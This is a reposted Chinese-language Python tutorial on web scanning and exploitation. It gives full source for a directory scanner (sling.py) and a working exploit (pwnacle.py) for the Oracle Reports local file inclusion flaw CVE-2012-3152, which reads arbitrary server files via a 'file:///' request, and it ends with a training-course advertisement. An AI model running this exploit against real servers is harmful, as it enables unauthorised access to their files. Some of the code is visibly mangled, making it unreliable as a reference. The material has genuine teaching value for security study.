【小白必学】Python教程之Web扫描和利用

admin 2020年10月28日17:20:50评论125 views字数 6998阅读23分19秒阅读模式
【小白必学】Python教程之Web扫描和利用

网安教育

培养网络安全人才

技术交流、学习咨询


本章将会介绍如何使用python去构建一个简单的web扫描器,并且写一个简单的exp。有些时候如果组织会发布出来一些漏洞测试的POC,然后使用者可以使用这些poc去检查自己系统的漏洞,但是在这种情况下,如果是等poc发布出来早以为时已晚!


在之前时候告诉了大家基本的web请求,这一章我们讲两个新的内容:

检测特定的服务器列表.

利用一个Oracle的本地包含漏洞.


1
Web扫描

下面的这个脚本使用"-i"参数把文件的url连接传递到脚本里面,然后使用"-r"参数指定请求的路径,最好使用"-s"参数去指定检测是否含有CLI漏洞的字符串.

1$ python sling.py -h
2Usage: sling.py -i <file_with URLs> -r  -s [optional]
3
4Options:
5  -h, --help    show this help message and exit
6  -i SERVERS    specify target file with URLs
7  -r RESOURCES  specify a file with resources to request
8  -s SEARCH     [optional] Specify a search string -s


存储url链接列表文件的文本格式应该是这样的——"http://www.google.com" 一行,并且文件请求的路径应该是"request/"每行,例如:

1reqs:
2CFIDE/
3admin/
4tmp/


下面是一个脚本调用的例子但是没有指定检测字符串:

1$ python sling.py -i URLs -r reqs
2[+] URL: http://www.google.com/CFIDE/ [404]
3[+] URL: http://www.google.com/admin/ [404]
4[+] URL: http://www.google.com/tmp/ [404]
5[+] URL: http://www.yahoo.com/CFIDE/ [404]
6[+] URL: http://www.facebook.com/CFIDE/ [404]
7[+] URL: http://www.facebook.com/admin/ [404]
8[+] URL: http://www.facebook.com/tmp/ [404]


现在当创建这些请求的时候,你可能想定义一个检测语句以减少误报,例如:你现在请求的路径是"/CFIDE/administrator/enter.cfm",你可以指定检测"CFIDE"的".cfm"页面是否有问题,这样就帮助你减少很多不必要耗费的时间.下面这个例子演示了上面脚本的完整示例:

1$ python sling.py -i URLs -r reqs -s google
2[+] URL: http://www.google.com/CFIDE/ [404] Found: 'google' in ouput
3[+] URL: http://www.google.com/admin/ [404] Found: 'google' in ouput
4[+] URL: http://www.google.com/tmp/ [404] Found: 'google' in ouput


正如你所看到的,这个脚本只会检测带有'google'关键字的url链接并且通过"STDOUT"显示在屏幕上面,这是一个很简单的脚本能够帮你快速的检索一些web资源,更进一步,我们可以指定服务器的版本号和漏洞版本,完整的脚本在教程的最后面:

2
自动web攻击应用

在几个月以前,一个安全研究员NI@root 发表过一篇详细的Oracle本地包含漏洞的报告,在报告发布的同时还发布了一个POC检测工具,用来检测你的服务器是否有bug,除此以外就没有任何工具了,该漏洞允许你通过发起以下请求连接来访问服务器的其他文件或目录,使用"file:///".

1request = '/reports/rwservlet?report=test.rdf+desformat=html+destype=cache+JOBTYPE=rwurl+URLPARAMETER="file:///'


下面是调用这个脚本的语法:

1$ python pwnacle.py <server> <resource>


pwnacle.py:

 1#######################################
2# pwnacle.py - Exploits CVE-2012-3152 #
3# Oracle Local File Inclusion (LFI)   #
4###
####################################
5
6import urllib, sys, ssl, inspect
7exec     inspect.getsource(ssl.wrap_socket).replace("PROTOCOL_SSLv23","PROTOCOL_SSLv3"in dict(inspect.getmembers(ssl.wrap_socket))["func_globals"]
8import socket
9
10server = sys.argv[1]      # Assigns first argument given at the CLI to 'server' variable
11dir = sys.argv[2]         # Assigns second argument given at the CLI to 'dir' variable
12ip = server.split('/')[2# formats the server by splitting the string based on the '/' which grabs the IP out of 'http://ip/'
13req = '/reports/rwservlet?    report=test.rdf+desformat=html+destype=cache+JOBTYPE=rwurl+URLPARAMETER="file:///' #request format to exploit the vulnerability
14
15print "Sending Request: "+server+req+dir+'"'
16
17if 'http://' in server: # 使用 http的urllib模块  --如果是ssl协议就出抛出错误
18    try:
19            conn = urllib.urlopen(server+req+dir+'"'# 发送请求给服务器
20            out = conn.readlines()
21            for item in conn:
22                    print item.strip()
23    except Exception as e:
24            print e
25
26if 'https://' in server:  # Create web request with ssl module
27        try:
28                conn = ssl.wrap_socket(socket.create_connection((ip, 443)))
29                request = 'GET '+req+dir+'"'+' HTTP/1.1'+'n'
30                request += 'Host: '+ip+'n'
31                request += 'User-Agent: Mozilla/5.0 '+'n'
32                request += 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'+'n'
33                request += 'Accept-Language: en-US,en;q=0.5'+'n'
34                request += 'Accept-Encoding: gzip, deflate'+'n'
35                request += 'Connection: keep-alive'+'n'
36                conn.send(request+'n')
37                print conn.recv()
38                print conn.recv(20098)
39
40        except Exception as e:
41               print e


Sling.py:

 1#####################################
2# sling.py - checks for resources   #
3# Can seach for string in response  #
4#####################################
5
6from bs4 import BeautifulSoup
7import sys, optparse, socket
8from urllib import urlopen
9
10class Colors:
11        RED = '33[91m'
12        GREEN = '33[92m'
13
14def webreq(server, resources):                              # 主机地址,请求路径
15        try:
16                resource = []
17                for item in open(resources, 'r'):           #对请求资源路径循环
18                        resource.append(item.strip())            # 把文件内的链接添加到数组里面
19                for item in resource:                       #循环数组并且创建请求
20                        s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
21                        s.settimeout(5)                     # 设置连接超时时间
22                        url = server.strip()+item.strip()        # 格式化请求url链接:     "http://www.site.com/CFIDE/administrator/enter.cfm"
23                        request = urlopen(url)                   # 创建请求
24                        if search:                     # 如果变量 "search"为true (-s)
25                                parsed = BeautifulSoup(request.read(), "lxml")  #使用BeautifulSoup解析
26                                if search in str(parsed):             # 如果search存在就输出
27                                        print Colors.GREEN+"[+] URL: "+url+" ["+str(request.getcode())+"] Found: '"+search+"' in ouput"
28                        elif request.getcode() == 404:                    # 获取http状态码
29                                print Colors.RED+"[+] URL: "+url+" ["+str(request.getcode())+"]"    # 打印url的状态码
30               elif request.getcode():
31                    print Colors.GREEN+"[+] URL: "+url+" ["+str(request.getcode())+"]"
32
33        except:pass
34
35def main():
36# 创建一个 CLI功能函数并且存储到变量里面
37parser = optparse.OptionParser(sys.argv[0]+' '
38        '-i <file_with URLs> -r  -s [optional]')
39        parser.add_option('-i', dest='servers', type='string', help='specify target file with URLs')
40        parser.add_option('-r', dest='resources', type='string', help='specify a file with resources to request')
41        parser.add_option('-s', dest='search', type='string', help='[optional] Specify a search string -s ')
42        (options, args) = parser.parse_args()
43        servers=options.servers
44        resources=options.resources
45        global search; search=options.search
46
47        if (servers == Noneand (resources==None):              # 检查 CLI是否有效
48                print parser.usage                     # if not print usage
49                sys.exit(0)
50
51        if servers:
52                for server in open(servers, 'r'):           # 循环文件里面的url连接
53                        webreq(server, resources)           # 调用 webreq 函数
54                        function
55
56if __name__ == "__main__":
57      main()


【小白必学】Python教程之Web扫描和利用

文:Andrew McNicol  转自重生信息安全

如有侵权请联系删除


开源聚合网安训练营

战疫期间,开源聚合网络安全基础班、实战班线上全面开启,学网络安全技术、升职加薪……有兴趣的可以加入开源聚合网安大家庭,一起学习、一起成长,考证书求职加分、升级加薪,有兴趣的可以咨询客服小姐姐哦!

【小白必学】Python教程之Web扫描和利用

加QQ(1271375291)找小姐姐私聊哦



精选文章


环境搭建
Python
学员专辑
信息收集
CNVD
安全求职
渗透实战
CVE
高薪揭秘
渗透测试工具
网络安全行业
神秘大礼包
基础教程
我们贴心备至
用户答疑
 QQ在线客服
加入社群
QQ+微信等着你

【小白必学】Python教程之Web扫描和利用


我就知道你“在看”
【小白必学】Python教程之Web扫描和利用


本文始发于微信公众号(开源聚合网络空间安全研究院):【小白必学】Python教程之Web扫描和利用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年10月28日17:20:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【小白必学】Python教程之Web扫描和利用https://cn-sec.com/archives/172912.html

发表评论

匿名网友 填写信息